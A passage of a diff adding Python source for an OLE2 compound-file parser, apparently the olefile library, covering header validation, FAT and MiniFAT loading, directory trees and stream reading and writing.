DirEntry index out of range") + # get child direntry: + child = self.olefile._load_direntry(child_sid) # direntries[child_sid] + debug("append_kids: child_sid=%d - %s - sid_left=%d, sid_right=%d, sid_child=%d" % (child.sid, repr(child.name), child.sid_left, child.sid_right, child.sid_child)) + # the directory entries are organized as a red-black tree. + # (cf. Wikipedia for details) + # First walk through left side of the tree: + self.append_kids(child.sid_left) + # Check if its name is not already used (case-insensitive): + name_lower = child.name.lower() + if name_lower in self.kids_dict: + self.olefile._raise_defect(DEFECT_INCORRECT, "Duplicate filename in OLE storage") + # Then the child_sid _OleDirectoryEntry object is appended to the + # kids list and dictionary: + self.kids.append(child) + self.kids_dict[name_lower] = child + # Check if kid was not already referenced in a storage: + if child.used: + self.olefile._raise_defect(DEFECT_INCORRECT, "OLE Entry referenced more than once") + child.used = True + # Finally walk through right side of the tree: + self.append_kids(child.sid_right) + # Afterwards build kid's own tree if it's also a storage: + child.build_storage_tree() + + def __eq__(self, other): + "Compare entries by name" + return self.name == other.name + + def __lt__(self, other): + "Compare entries by name" + return self.name < other.name + + def __ne__(self, other): + return not self.__eq__(other) + + def __le__(self, other): + return self.__eq__(other) or self.__lt__(other) + + # Reflected __lt__() and __le__() will be used for __gt__() and __ge__() + + # TODO: replace by the same function as MS implementation ? + # (order by name length first, then case-insensitive order) + + def dump(self, tab=0): + "Dump this entry, and all its subentries (for debug purposes only)" + TYPES = ["(invalid)", "(storage)", "(stream)", "(lockbytes)", "(property)", "(root)"] + print(" " * tab + repr(self.name), TYPES[self.entry_type], end=" ") + if self.entry_type in (STGTY_STREAM, STGTY_ROOT): + print(self.size, "bytes", end=" ") + print() + if self.entry_type in (STGTY_STORAGE, STGTY_ROOT) and self.clsid: + print(" " * tab + "{%s}" % self.clsid) + + for kid in self.kids: + kid.dump(tab + 2) + + def getmtime(self): + """ + Return modification time of a directory entry. + + :returns: None if modification time is null, a python datetime object + otherwise (UTC timezone) + + new in version 0.26 + """ + if self.modifyTime == 0: + return None + return filetime2datetime(self.modifyTime) + + def getctime(self): + """ + Return creation time of a directory entry. + + :returns: None if modification time is null, a python datetime object + otherwise (UTC timezone) + + new in version 0.26 + """ + if self.createTime == 0: + return None + return filetime2datetime(self.createTime) + + +# --- OleFileIO ---------------------------------------------------------------- + + +class OleFileIO: + """ + OLE container object + + This class encapsulates the interface to an OLE 2 structured + storage file. Use the listdir and openstream methods to + access the contents of this file. + + Object names are given as a list of strings, one for each subentry + level. The root entry should be omitted. For example, the following + code extracts all image streams from a Microsoft Image Composer file:: + + ole = OleFileIO("fan.mic") + + for entry in ole.listdir(): + if entry[1:2] == "Image": + fin = ole.openstream(entry) + fout = open(entry[0:1], "wb") + while True: + s = fin.read(8192) + if not s: + break + fout.write(s) + + You can use the viewer application provided with the Python Imaging + Library to view the resulting files (which happens to be standard + TIFF files). + """ + + def __init__(self, filename=None, raise_defects=DEFECT_FATAL, write_mode=False, debug=False, path_encoding=DEFAULT_PATH_ENCODING): + """ + Constructor for the OleFileIO class. + + :param filename: file to open. + + - if filename is a string smaller than 1536 bytes, it is the path + of the file to open. (bytes or unicode string) + - if filename is a string longer than 1535 bytes, it is parsed + as the content of an OLE file in memory. (bytes type only) + - if filename is a file-like object (with read, seek and tell methods), + it is parsed as-is. + + :param raise_defects: minimal level for defects to be raised as exceptions. + (use DEFECT_FATAL for a typical application, DEFECT_INCORRECT for a + security-oriented application, see source code for details) + + :param write_mode: bool, if True the file is opened in read/write mode instead + of read-only by default. + + :param debug: bool, set debug mode + + :param path_encoding: None or str, name of the codec to use for path + names (streams and storages), or None for Unicode. + Unicode by default on Python 3+, UTF-8 on Python 2.x. + (new in olefile 0.42, was hardcoded to Latin-1 until olefile v0.41) + """ + set_debug_mode(debug) + # minimal level for defects to be raised as exceptions: + self._raise_defects_level = raise_defects + # list of defects/issues not raised as exceptions: + # tuples of (exception type, message) + self.parsing_issues = [] + self.write_mode = write_mode + self.path_encoding = path_encoding + self._filesize = None + self.fp = None + if filename: + self.open(filename, write_mode=write_mode) + + def _raise_defect(self, defect_level, message, exception_type=IOError): + """ + This method should be called for any defect found during file parsing. + It may raise an IOError exception according to the minimal level chosen + for the OleFileIO object. + + :param defect_level: defect level, possible values are: + + - DEFECT_UNSURE : a case which looks weird, but not sure it's a defect + - DEFECT_POTENTIAL : a potential defect + - DEFECT_INCORRECT : an error according to specifications, but parsing can go on + - DEFECT_FATAL : an error which cannot be ignored, parsing is impossible + + :param message: string describing the defect, used with raised exception. + :param exception_type: exception class to be raised, IOError by default + """ + # added by [PL] + if defect_level >= self._raise_defects_level: + raise exception_type(message) + else: + # just record the issue, no exception raised: + self.parsing_issues.append((exception_type, message)) + + def _decode_utf16_str(self, utf16_str, errors="replace"): + """ + Decode a string encoded in UTF-16 LE format, as found in the OLE + directory or in property streams. Return a string encoded + according to the path_encoding specified for the OleFileIO object. + + :param utf16_str: bytes string encoded in UTF-16 LE format + :param errors: str, see python documentation for str.decode() + :return: str, encoded according to path_encoding + """ + unicode_str = utf16_str.decode("UTF-16LE", errors) + if self.path_encoding: + # an encoding has been specified for path names: + return unicode_str.encode(self.path_encoding, errors) + else: + # path_encoding=None, return the Unicode string as-is: + return unicode_str + + def open(self, filename, write_mode=False): + """ + Open an OLE2 file in read-only or read/write mode. + Read and parse the header, FAT and directory. + + :param filename: string-like or file-like object, OLE file to parse + + - if filename is a string smaller than 1536 bytes, it is the path + of the file to open. (bytes or unicode string) + - if filename is a string longer than 1535 bytes, it is parsed + as the content of an OLE file in memory. (bytes type only) + - if filename is a file-like object (with read, seek and tell methods), + it is parsed as-is. + + :param write_mode: bool, if True the file is opened in read/write mode instead + of read-only by default. (ignored if filename is not a path) + """ + self.write_mode = write_mode + # [PL] check if filename is a string-like or file-like object: + # (it is better to check for a read() method) + if hasattr(filename, "read"): + # TODO: also check seek and tell methods? + # file-like object: use it directly + self.fp = filename + elif isinstance(filename, bytes) and len(filename) >= MINIMAL_OLEFILE_SIZE: + # filename is a bytes string containing the OLE file to be parsed: + # convert it to BytesIO + self.fp = io.BytesIO(filename) + else: + # string-like object: filename of file on disk + if self.write_mode: + # open file in mode 'read with update, binary' + # According to https://docs.python.org/2/library/functions.html#open + # 'w' would truncate the file, 'a' may only append on some Unixes + mode = "r+b" + else: + # read-only mode by default + mode = "rb" + self.fp = open(filename, mode) + # obtain the filesize by using seek and tell, which should work on most + # file-like objects: + # TODO: do it above, using getsize with filename when possible? + # TODO: fix code to fail with clear exception when filesize cannot be obtained + filesize = 0 + self.fp.seek(0, os.SEEK_END) + try: + filesize = self.fp.tell() + finally: + self.fp.seek(0) + self._filesize = filesize + + # lists of streams in FAT and MiniFAT, to detect duplicate references + # (list of indexes of first sectors of each stream) + self._used_streams_fat = [] + self._used_streams_minifat = [] + + header = self.fp.read(512) + + if len(header) != 512 or header[:8] != MAGIC: + self._raise_defect(DEFECT_FATAL, "not an OLE2 structured storage file") + + # [PL] header structure according to AAF specifications: + # Header + # struct StructuredStorageHeader { // [offset from start (bytes), length (bytes)] + # BYTE _abSig[8]; // [00H,08] {0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, + # // 0x1a, 0xe1} for current version + # CLSID _clsid; // [08H,16] reserved must be zero (WriteClassStg/ + # // GetClassFile uses root directory class id) + # USHORT _uMinorVersion; // [18H,02] minor version of the format: 33 is + # // written by reference implementation + # USHORT _uDllVersion; // [1AH,02] major version of the dll/format: 3 for + # // 512-byte sectors, 4 for 4 KB sectors + # USHORT _uByteOrder; // [1CH,02] 0xFFFE: indicates Intel byte-ordering + # USHORT _uSectorShift; // [1EH,02] size of sectors in power-of-two; + # // typically 9 indicating 512-byte sectors + # USHORT _uMiniSectorShift; // [20H,02] size of mini-sectors in power-of-two; + # // typically 6 indicating 64-byte mini-sectors + # USHORT _usReserved; // [22H,02] reserved, must be zero + # ULONG _ulReserved1; // [24H,04] reserved, must be zero + # FSINDEX _csectDir; // [28H,04] must be zero for 512-byte sectors, + # // number of SECTs in directory chain for 4 KB + # // sectors + # FSINDEX _csectFat; // [2CH,04] number of SECTs in the FAT chain + # SECT _sectDirStart; // [30H,04] first SECT in the directory chain + # DFSIGNATURE _signature; // [34H,04] signature used for transactions; must + # // be zero. The reference implementation + # // does not support transactions + # ULONG _ulMiniSectorCutoff; // [38H,04] maximum size for a mini stream; + # // typically 4096 bytes + # SECT _sectMiniFatStart; // [3CH,04] first SECT in the MiniFAT chain + # FSINDEX _csectMiniFat; // [40H,04] number of SECTs in the MiniFAT chain + # SECT _sectDifStart; // [44H,04] first SECT in the DIFAT chain + # FSINDEX _csectDif; // [48H,04] number of SECTs in the DIFAT chain + # SECT _sectFat[109]; // [4CH,436] the SECTs of first 109 FAT sectors + # }; + + # [PL] header decoding: + # '<' indicates little-endian byte ordering for Intel (cf. struct module help) + fmt_header = "<8s16sHHHHHHLLLLLLLLLL" + header_size = struct.calcsize(fmt_header) + debug("fmt_header size = %d, +FAT = %d" % (header_size, header_size + 109 * 4)) + header1 = header[:header_size] + ( + self.Sig, + self.clsid, + self.MinorVersion, + self.DllVersion, + self.ByteOrder, + self.SectorShift, + self.MiniSectorShift, + self.Reserved, + self.Reserved1, + self.csectDir, + self.csectFat, + self.sectDirStart, + self.signature, + self.MiniSectorCutoff, + self.MiniFatStart, + self.csectMiniFat, + self.sectDifStart, + self.csectDif, + ) = struct.unpack(fmt_header, header1) + debug(struct.unpack(fmt_header, header1)) + + if self.Sig != MAGIC: + # OLE signature should always be present + self._raise_defect(DEFECT_FATAL, "incorrect OLE signature") + if self.clsid != bytearray(16): + # according to AAF specs, CLSID should always be zero + self._raise_defect(DEFECT_INCORRECT, "incorrect CLSID in OLE header") + debug("MinorVersion = %d" % self.MinorVersion) + debug("DllVersion = %d" % self.DllVersion) + if self.DllVersion not in [3, 4]: + # version 3: usual format, 512 bytes per sector + # version 4: large format, 4K per sector + self._raise_defect(DEFECT_INCORRECT, "incorrect DllVersion in OLE header") + debug("ByteOrder = %X" % self.ByteOrder) + if self.ByteOrder != 0xFFFE: + # For now only common little-endian documents are handled correctly + self._raise_defect(DEFECT_FATAL, "incorrect ByteOrder in OLE header") + # TODO: add big-endian support for documents created on Mac ? + # But according to [MS-CFB] ? v20140502, ByteOrder MUST be 0xFFFE. + self.SectorSize = 2**self.SectorShift + debug("SectorSize = %d" % self.SectorSize) + if self.SectorSize not in [512, 4096]: + self._raise_defect(DEFECT_INCORRECT, "incorrect SectorSize in OLE header") + if (self.DllVersion == 3 and self.SectorSize != 512) or (self.DllVersion == 4 and self.SectorSize != 4096): + self._raise_defect(DEFECT_INCORRECT, "SectorSize does not match DllVersion in OLE header") + self.MiniSectorSize = 2**self.MiniSectorShift + debug("MiniSectorSize = %d" % self.MiniSectorSize) + if self.MiniSectorSize not in [64]: + self._raise_defect(DEFECT_INCORRECT, "incorrect MiniSectorSize in OLE header") + if self.Reserved != 0 or self.Reserved1 != 0: + self._raise_defect(DEFECT_INCORRECT, "incorrect OLE header (non-null reserved bytes)") + debug("csectDir = %d" % self.csectDir) + # Number of directory sectors (only allowed if DllVersion != 3) + if self.SectorSize == 512 and self.csectDir != 0: + self._raise_defect(DEFECT_INCORRECT, "incorrect csectDir in OLE header") + debug("csectFat = %d" % self.csectFat) + # csectFat = number of FAT sectors in the file + debug("sectDirStart = %X" % self.sectDirStart) + # sectDirStart = 1st sector containing the directory + debug("signature = %d" % self.signature) + # Signature should be zero, BUT some implementations do not follow this + # rule => only a potential defect: + # (according to MS-CFB, may be != 0 for applications supporting file + # transactions) + if self.signature != 0: + self._raise_defect(DEFECT_POTENTIAL, "incorrect OLE header (signature>0)") + debug("MiniSectorCutoff = %d" % self.MiniSectorCutoff) + # MS-CFB: This integer field MUST be set to 0x00001000. This field + # specifies the maximum size of a user-defined data stream allocated + # from the mini FAT and mini stream, and that cutoff is 4096 bytes. + # Any user-defined data stream larger than or equal to this cutoff size + # must be allocated as normal sectors from the FAT. + if self.MiniSectorCutoff != 0x1000: + self._raise_defect(DEFECT_INCORRECT, "incorrect MiniSectorCutoff in OLE header") + debug("MiniFatStart = %X" % self.MiniFatStart) + debug("csectMiniFat = %d" % self.csectMiniFat) + debug("sectDifStart = %X" % self.sectDifStart) + debug("csectDif = %d" % self.csectDif) + + # calculate the number of sectors in the file + # (-1 because header doesn't count) + self.nb_sect = ((filesize + self.SectorSize - 1) // self.SectorSize) - 1 + debug("Number of sectors in the file: %d" % self.nb_sect) + # TODO: change this test, because an OLE file MAY contain other data + # after the last sector. + + # file clsid + self.clsid = _clsid(header[8:24]) + + # TODO: remove redundant attributes, and fix the code which uses them? + self.sectorsize = self.SectorSize # 1 << i16(header, 30) + self.minisectorsize = self.MiniSectorSize # 1 << i16(header, 32) + self.minisectorcutoff = self.MiniSectorCutoff # i32(header, 56) + + # check known streams for duplicate references (these are always in FAT, + # never in MiniFAT): + self._check_duplicate_stream(self.sectDirStart) + # check MiniFAT only if it is not empty: + if self.csectMiniFat: + self._check_duplicate_stream(self.MiniFatStart) + # check DIFAT only if it is not empty: + if self.csectDif: + self._check_duplicate_stream(self.sectDifStart) + + # Load file allocation tables + self.loadfat(header) + # Load direcory. This sets both the direntries list (ordered by sid) + # and the root (ordered by hierarchy) members. + self.loaddirectory(self.sectDirStart) # i32(header, 48)) + self.ministream = None + self.minifatsect = self.MiniFatStart # i32(header, 60) + + def close(self): + """ + close the OLE file, to release the file object + """ + self.fp.close() + + def _check_duplicate_stream(self, first_sect, minifat=False): + """ + Checks if a stream has not been already referenced elsewhere. + This method should only be called once for each known stream, and only + if stream size is not null. + + :param first_sect: int, index of first sector of the stream in FAT + :param minifat: bool, if True, stream is located in the MiniFAT, else in the FAT + """ + if minifat: + debug("_check_duplicate_stream: sect=%d in MiniFAT" % first_sect) + used_streams = self._used_streams_minifat + else: + debug("_check_duplicate_stream: sect=%d in FAT" % first_sect) + # some values can be safely ignored (not a real stream): + if first_sect in (DIFSECT, FATSECT, ENDOFCHAIN, FREESECT): + return + used_streams = self._used_streams_fat + # TODO: would it be more efficient using a dict or hash values, instead + # of a list of long ? + if first_sect in used_streams: + self._raise_defect(DEFECT_INCORRECT, "Stream referenced twice") + else: + used_streams.append(first_sect) + + def dumpfat(self, fat, firstindex=0): + "Displays a part of FAT in human-readable form for debugging purpose" + # [PL] added only for debug + if not DEBUG_MODE: + return + # dictionary to convert special FAT values in human-readable strings + VPL = 8 # values per line (8+1 * 8+1 = 81) + fatnames = {FREESECT: "..free..", ENDOFCHAIN: "[ END. ]", FATSECT: "FATSECT ", DIFSECT: "DIFSECT "} + nbsect = len(fat) + nlines = (nbsect + VPL - 1) // VPL + print("index", end=" ") + for i in range(VPL): + print("%8X" % i, end=" ") + print() + for l in range(nlines): + index = l * VPL + print("%8X:" % (firstindex + index), end=" ") + for i in range(index, index + VPL): + if i >= nbsect: + break + sect = fat[i] + aux = sect & 0xFFFFFFFF # JYTHON-WORKAROUND + if aux in fatnames: + name = fatnames[aux] + else: + if sect == i + 1: + name = " --->" + else: + name = "%8X" % sect + print(name, end=" ") + print() + + def dumpsect(self, sector, firstindex=0): + "Displays a sector in a human-readable form, for debugging purpose." + if not DEBUG_MODE: + return + VPL = 8 # number of values per line (8+1 * 8+1 = 81) + tab = array.array(UINT32, sector) + if sys.byteorder == "big": + tab.byteswap() + nbsect = len(tab) + nlines = (nbsect + VPL - 1) // VPL + print("index", end=" ") + for i in range(VPL): + print("%8X" % i, end=" ") + print() + for l in range(nlines): + index = l * VPL + print("%8X:" % (firstindex + index), end=" ") + for i in range(index, index + VPL): + if i >= nbsect: + break + sect = tab[i] + name = "%8X" % sect + print(name, end=" ") + print() + + def sect2array(self, sect): + """ + convert a sector to an array of 32 bits unsigned integers, + swapping bytes on big endian CPUs such as PowerPC (old Macs) + """ + a = array.array(UINT32, sect) + # if CPU is big endian, swap bytes: + if sys.byteorder == "big": + a.byteswap() + return a + + def loadfat_sect(self, sect): + """ + Adds the indexes of the given sector to the FAT + + :param sect: string containing the first FAT sector, or array of long integers + :returns: index of last FAT sector. + """ + # a FAT sector is an array of ulong integers. + if isinstance(sect, array.array): + # if sect is already an array it is directly used + fat1 = sect + else: + # if it's a raw sector, it is parsed in an array + fat1 = self.sect2array(sect) + self.dumpsect(sect) + # The FAT is a sector chain starting at the first index of itself. + for isect in fat1: + isect = isect & 0xFFFFFFFF # JYTHON-WORKAROUND + debug("isect = %X" % isect) + if isect == ENDOFCHAIN or isect == FREESECT: + # the end of the sector chain has been reached + debug("found end of sector chain") + break + # read the FAT sector + s = self.getsect(isect) + # parse it as an array of 32 bits integers, and add it to the + # global FAT array + nextfat = self.sect2array(s) + self.fat = self.fat + nextfat + return isect + + def loadfat(self, header): + """ + Load the FAT table. + """ + # The 1st sector of the file contains sector numbers for the first 109 + # FAT sectors, right after the header which is 76 bytes long. + # (always 109, whatever the sector size: 512 bytes = 76+4*109) + # Additional sectors are described by DIF blocks + + sect = header[76:512] + debug("len(sect)=%d, so %d integers" % (len(sect), len(sect) // 4)) + # fat = [] + # [PL] FAT is an array of 32 bits unsigned ints, it's more effective + # to use an array than a list in Python. + # It's initialized as empty first: + self.fat = array.array(UINT32) + self.loadfat_sect(sect) + # self.dumpfat(self.fat) + # for i in range(0, len(sect), 4): + # ix = i32(sect, i) + # #[PL] if ix == -2 or ix == -1: # ix == 0xFFFFFFFE or ix == 0xFFFFFFFF: + # if ix == 0xFFFFFFFE or ix == 0xFFFFFFFF: + # break + # s = self.getsect(ix) + # #fat = fat + [i32(s, i) for i in range(0, len(s), 4)] + # fat = fat + array.array(UINT32, s) + if self.csectDif != 0: + # [PL] There's a DIFAT because file is larger than 6.8MB + # some checks just in case: + if self.csectFat <= 109: + # there must be at least 109 blocks in header and the rest in + # DIFAT, so number of sectors must be >109. + self._raise_defect(DEFECT_INCORRECT, "incorrect DIFAT, not enough sectors") + if self.sectDifStart >= self.nb_sect: + # initial DIFAT block index must be valid + self._raise_defect(DEFECT_FATAL, "incorrect DIFAT, first index out of range") + debug("DIFAT analysis...") + # We compute the necessary number of DIFAT sectors : + # Number of pointers per DIFAT sector = (sectorsize/4)-1 + # (-1 because the last pointer is the next DIFAT sector number) + nb_difat_sectors = (self.sectorsize // 4) - 1 + # (if 512 bytes: each DIFAT sector = 127 pointers + 1 towards next DIFAT sector) + nb_difat = (self.csectFat - 109 + nb_difat_sectors - 1) // nb_difat_sectors + debug("nb_difat = %d" % nb_difat) + if self.csectDif != nb_difat: + raise IOError("incorrect DIFAT") + isect_difat = self.sectDifStart + for i in iterrange(nb_difat): + debug("DIFAT block %d, sector %X" % (i, isect_difat)) + # TODO: check if corresponding FAT SID = DIFSECT + sector_difat = self.getsect(isect_difat) + difat = self.sect2array(sector_difat) + self.dumpsect(sector_difat) + self.loadfat_sect(difat[:nb_difat_sectors]) + # last DIFAT pointer is next DIFAT sector: + isect_difat = difat[nb_difat_sectors] + debug("next DIFAT sector: %X" % isect_difat) + # checks: + if isect_difat not in [ENDOFCHAIN, FREESECT]: + # last DIFAT pointer value must be ENDOFCHAIN or FREESECT + raise IOError("incorrect end of DIFAT") + # if len(self.fat) != self.csectFat: + # # FAT should contain csectFat blocks + # print("FAT length: %d instead of %d" % (len(self.fat), self.csectFat)) + # raise IOError('incorrect DIFAT') + # since FAT is read from fixed-size sectors, it may contain more values + # than the actual number of sectors in the file. + # Keep only the relevant sector indexes: + if len(self.fat) > self.nb_sect: + debug("len(fat)=%d, shrunk to nb_sect=%d" % (len(self.fat), self.nb_sect)) + self.fat = self.fat[: self.nb_sect] + debug("\nFAT:") + self.dumpfat(self.fat) + + def loadminifat(self): + """ + Load the MiniFAT table. + """ + # MiniFAT is stored in a standard sub-stream, pointed to by a header + # field. + # NOTE: there are two sizes to take into account for this stream: + # 1) Stream size is calculated according to the number of sectors + # declared in the OLE header. This allocated stream may be more than + # needed to store the actual sector indexes. + # (self.csectMiniFat is the number of sectors of size self.SectorSize) + stream_size = self.csectMiniFat * self.SectorSize + # 2) Actually used size is calculated by dividing the MiniStream size + # (given by root entry size) by the size of mini sectors, *4 for + # 32 bits indexes: + nb_minisectors = (self.root.size + self.MiniSectorSize - 1) // self.MiniSectorSize + used_size = nb_minisectors * 4 + debug("loadminifat(): minifatsect=%d, nb FAT sectors=%d, used_size=%d, stream_size=%d, nb MiniSectors=%d" % (self.minifatsect, self.csectMiniFat, used_size, stream_size, nb_minisectors)) + if used_size > stream_size: + # This is not really a problem, but may indicate a wrong implementation: + self._raise_defect(DEFECT_INCORRECT, "OLE MiniStream is larger than MiniFAT") + # In any case, first read stream_size: + s = self._open(self.minifatsect, stream_size, force_FAT=True).read() + # [PL] Old code replaced by an array: + # self.minifat = [i32(s, i) for i in range(0, len(s), 4)] + self.minifat = self.sect2array(s) + # Then shrink the array to used size, to avoid indexes out of MiniStream: + debug("MiniFAT shrunk from %d to %d sectors" % (len(self.minifat), nb_minisectors)) + self.minifat = self.minifat[:nb_minisectors] + debug("loadminifat(): len=%d" % len(self.minifat)) + debug("\nMiniFAT:") + self.dumpfat(self.minifat) + + def getsect(self, sect): + """ + Read given sector from file on disk. + + :param sect: int, sector index + :returns: a string containing the sector data. + """ + # From [MS-CFB]: A sector number can be converted into a byte offset + # into the file by using the following formula: + # (sector number + 1) x Sector Size. + # This implies that sector #0 of the file begins at byte offset Sector + # Size, not at 0. + + # [PL] the original code in PIL was wrong when sectors are 4KB instead of + # 512 bytes: + # self.fp.seek(512 + self.sectorsize * sect) + # [PL]: added safety checks: + # print("getsect(%X)" % sect) + try: + self.fp.seek(self.sectorsize * (sect + 1)) + except: + debug("getsect(): sect=%X, seek=%d, filesize=%d" % (sect, self.sectorsize * (sect + 1), self._filesize)) + self._raise_defect(DEFECT_FATAL, "OLE sector index out of range") + sector = self.fp.read(self.sectorsize) + if len(sector) != self.sectorsize: + debug("getsect(): sect=%X, read=%d, sectorsize=%d" % (sect, len(sector), self.sectorsize)) + self._raise_defect(DEFECT_FATAL, "incomplete OLE sector") + return sector + + def write_sect(self, sect, data, padding=b"\x00"): + """ + Write given sector to file on disk. + + :param sect: int, sector index + :param data: bytes, sector data + :param padding: single byte, padding character if data < sector size + """ + if not isinstance(data, bytes): + raise TypeError("write_sect: data must be a bytes string") + if not isinstance(padding, bytes) or len(padding) != 1: + raise TypeError("write_sect: padding must be a bytes string of 1 char") + # TODO: we could allow padding=None for no padding at all + try: + self.fp.seek(self.sectorsize * (sect + 1)) + except: + debug("write_sect(): sect=%X, seek=%d, filesize=%d" % (sect, self.sectorsize * (sect + 1), self._filesize)) + self._raise_defect(DEFECT_FATAL, "OLE sector index out of range") + if len(data) < self.sectorsize: + # add padding + data += padding * (self.sectorsize - len(data)) + elif len(data) < self.sectorsize: + raise ValueError("Data is larger than sector size") + self.fp.write(data) + + def loaddirectory(self, sect): + """ + Load the directory. + + :param sect: sector index of directory stream. + """ + # The directory is stored in a standard + # substream, independent of its size. + + # open directory stream as a read-only file: + # (stream size is not known in advance) + self.directory_fp = self._open(sect) + + # [PL] to detect malformed documents and avoid DoS attacks, the maximum + # number of directory entries can be calculated: + max_entries = self.directory_fp.size // 128 + debug("loaddirectory: size=%d, max_entries=%d" % (self.directory_fp.size, max_entries)) + + # Create list of directory entries + # self.direntries = [] + # We start with a list of "None" object + self.direntries = [None] * max_entries + # for sid in iterrange(max_entries): + # entry = fp.read(128) + # if not entry: + # break + # self.direntries.append(_OleDirectoryEntry(entry, sid, self)) + # load root entry: + root_entry = self._load_direntry(0) + # Root entry is the first entry: + self.root = self.direntries[0] + # read and build all storage trees, starting from the root: + self.root.build_storage_tree() + + def _load_direntry(self, sid): + """ + Load a directory entry from the directory. + This method should only be called once for each storage/stream when + loading the directory. + + :param sid: index of storage/stream in the directory. + :returns: a _OleDirectoryEntry object + + :exception IOError: if the entry has always been referenced. + """ + # check if SID is OK: + if sid < 0 or sid >= len(self.direntries): + self._raise_defect(DEFECT_FATAL, "OLE directory index out of range") + # check if entry was already referenced: + if self.direntries[sid] is not None: + self._raise_defect(DEFECT_INCORRECT, "double reference for OLE stream/storage") + # if exception not raised, return the object + return self.direntries[sid] + self.directory_fp.seek(sid * 128) + entry = self.directory_fp.read(128) + self.direntries[sid] = _OleDirectoryEntry(entry, sid, self) + return self.direntries[sid] + + def dumpdirectory(self): + """ + Dump directory (for debugging only) + """ + self.root.dump() + + def _open(self, start, size=0x7FFFFFFF, force_FAT=False): + """ + Open a stream, either in FAT or MiniFAT according to its size. + (openstream helper) + + :param start: index of first sector + :param size: size of stream (or nothing if size is unknown) + :param force_FAT: if False (default), stream will be opened in FAT or MiniFAT + according to size. If True, it will always be opened in FAT. + """ + debug("OleFileIO.open(): sect=%d, size=%d, force_FAT=%s" % (start, size, str(force_FAT))) + # stream size is compared to the MiniSectorCutoff threshold: + if size < self.minisectorcutoff and not force_FAT: + # ministream object + if not self.ministream: + # load MiniFAT if it wasn't already done: + self.loadminifat() + # The first sector index of the miniFAT stream is stored in the + # root directory entry: + size_ministream = self.root.size + debug("Opening MiniStream: sect=%d, size=%d" % (self.root.isectStart, size_ministream)) + self.ministream = self._open(self.root.isectStart, size_ministream, force_FAT=True) + return _OleStream(fp=self.ministream, sect=start, size=size, offset=0, sectorsize=self.minisectorsize, fat=self.minifat, filesize=self.ministream.size) + else: + # standard stream + return _OleStream(fp=self.fp, sect=start, size=size, offset=self.sectorsize, sectorsize=self.sectorsize, fat=self.fat, filesize=self._filesize) + + def _list(self, files, prefix, node, streams=True, storages=False): + """ + listdir helper + + :param files: list of files to fill in + :param prefix: current location in storage tree (list of names) + :param node: current node (_OleDirectoryEntry object) + :param streams: bool, include streams if True (True by default) - new in v0.26 + :param storages: bool, include storages if True (False by default) - new in v0.26 + (note: the root storage is never included) + """ + prefix = prefix + [node.name] + for entry in node.kids: + if entry.entry_type == STGTY_STORAGE: + # this is a storage + if storages: + # add it to the list + files.append(prefix[1:] + [entry.name]) + # check its kids + self._list(files, prefix, entry, streams, storages) + elif entry.entry_type == STGTY_STREAM: + # this is a stream + if streams: + # add it to the list + files.append(prefix[1:] + [entry.name]) + else: + self._raise_defect(DEFECT_INCORRECT, "The directory tree contains an entry which is not a stream nor a storage.") + + def listdir(self, streams=True, storages=False): + """ + Return a list of streams and/or storages stored in this file + + :param streams: bool, include streams if True (True by default) - new in v0.26 + :param storages: bool, include storages if True (False by default) - new in v0.26 + (note: the root storage is never included) + :returns: list of stream and/or storage paths + """ + files = [] + self._list(files, [], self.root, streams, storages) + return files + + def _find(self, filename): + """ + Returns directory entry of given filename. (openstream helper) + Note: this method is case-insensitive. + + :param filename: path of stream in storage tree (except root entry), either: + + - a string using Unix path syntax, for example: + 'storage_1/storage_1.2/stream' + - or a list of storage filenames, path to the desired stream/storage. + Example: ['storage_1', 'storage_1.2', 'stream'] + + :returns: sid of requested filename + :exception IOError: if file not found + """ + + # if filename is a string instead of a list, split it on slashes to + # convert to a list: + if isinstance(filename, basestring): + filename = filename.split("/") + # walk across storage tree, following given path: + node = self.root + for name in filename: + for kid in node.kids: + if kid.name.lower() == name.lower(): + break + else: + raise IOError("file not found") + node = kid + return node.sid + + def openstream(self, filename): + """ + Open a stream as a read-only file object (BytesIO). + Note: filename is case-insensitive. + + :param filename: path of stream in storage tree (except root entry), either: + + - a string using Unix path syntax, for example: + 'storage_1/storage_1.2/stream' + - or a list of storage filenames, path to the desired stream/storage. + Example: ['storage_1', 'storage_1.2', 'stream'] + + :returns: file object (read-only) + :exception IOError: if filename not found, or if this is not a stream. + """ + sid = self._find(filename) + entry = self.direntries[sid] + if entry.entry_type != STGTY_STREAM: + raise IOError("this file is not a stream") + return self._open(entry.isectStart, entry.size) + + def write_stream(self, stream_name, data): + """ + Write a stream to disk. For now, it is only possible to replace an + existing stream by data of the same size. + + :param stream_name: path of stream in storage tree (except root entry), either: + + - a string using Unix path syntax, for example: + 'storage_1/storage_1.2/stream' + - or a list of storage filenames, path to the desired stream/storage. + Example: ['storage_1', 'storage_1.2', 'stream'] + + :param data: bytes, data to be written, must be the same size as the original + stream. + """ + if not isinstance(data, bytes): + raise TypeError("write_stream: data must be a bytes string") + sid = self._find(stream_name) + entry = self.direntries[sid] + if entry.entry_type != STGTY_STREAM: + raise IOError("this is not a stream") + size = entry.size + if size != len(data): + raise ValueError("write_stream: data must be the same size as the existing stream") + if size < self.minisectorcutoff: + raise NotImplementedError("Writing a stream in MiniFAT is not implemented yet") + sect = entry.isectStart + # number of sectors to write + nb_sectors = (size + (self.sectorsize - 1)) // self.sectorsize + debug("nb_sectors = %d" % nb_sectors) + for i in range(nb_sectors): + # try: + # self.fp.seek(offset + self.sectorsize * sect) + # except: + # debug('sect=%d, seek=%d' % + # (sect, offset+self.sectorsize*sect)) + # raise IOError('OLE sector index out of range') + # extract one sector from data, the last one being smaller: + if i < (nb_sectors - 1): + data_sector = data[i * self.sectorsize : (i + 1) * self.sectorsize] + # TODO: comment this if it works + assert len(data_sector) == self.sectorsize + else: + data_sector = data[i * self.sectorsize :] + # TODO: comment this if it works + debug("write_stream: size=%d sectorsize=%d data_sector=%d size%%sectorsize=%d" % (size, self.sectorsize, len(data_sector), size % self.sectorsize)) + assert len(data_sector) % self.sectorsize == size % self.sectorsize + self.write_sect(sect, data_sector) + # self.fp.write(data_sector) + # jump to next sector in the FAT: + try: + sect = self.fat[sect] + except IndexError: + # [PL] if pointer is out of the FAT an exception is raised + raise IOError("incorrect OLE FAT, sector index out of range") + # [PL] Last sector should be a "end of chain" marker: + if sect != ENDOFCHAIN: + raise IOError("incorrect last sector index in OLE stream") + + def get_type(self, filename): + """ + Test if given filename exists as a stream or a storage in the OLE + container, and return its type. + + :param filename: path of stream in storage tree. (see openstream for syntax) + :returns: False if object does not exist, its entry type (>0) 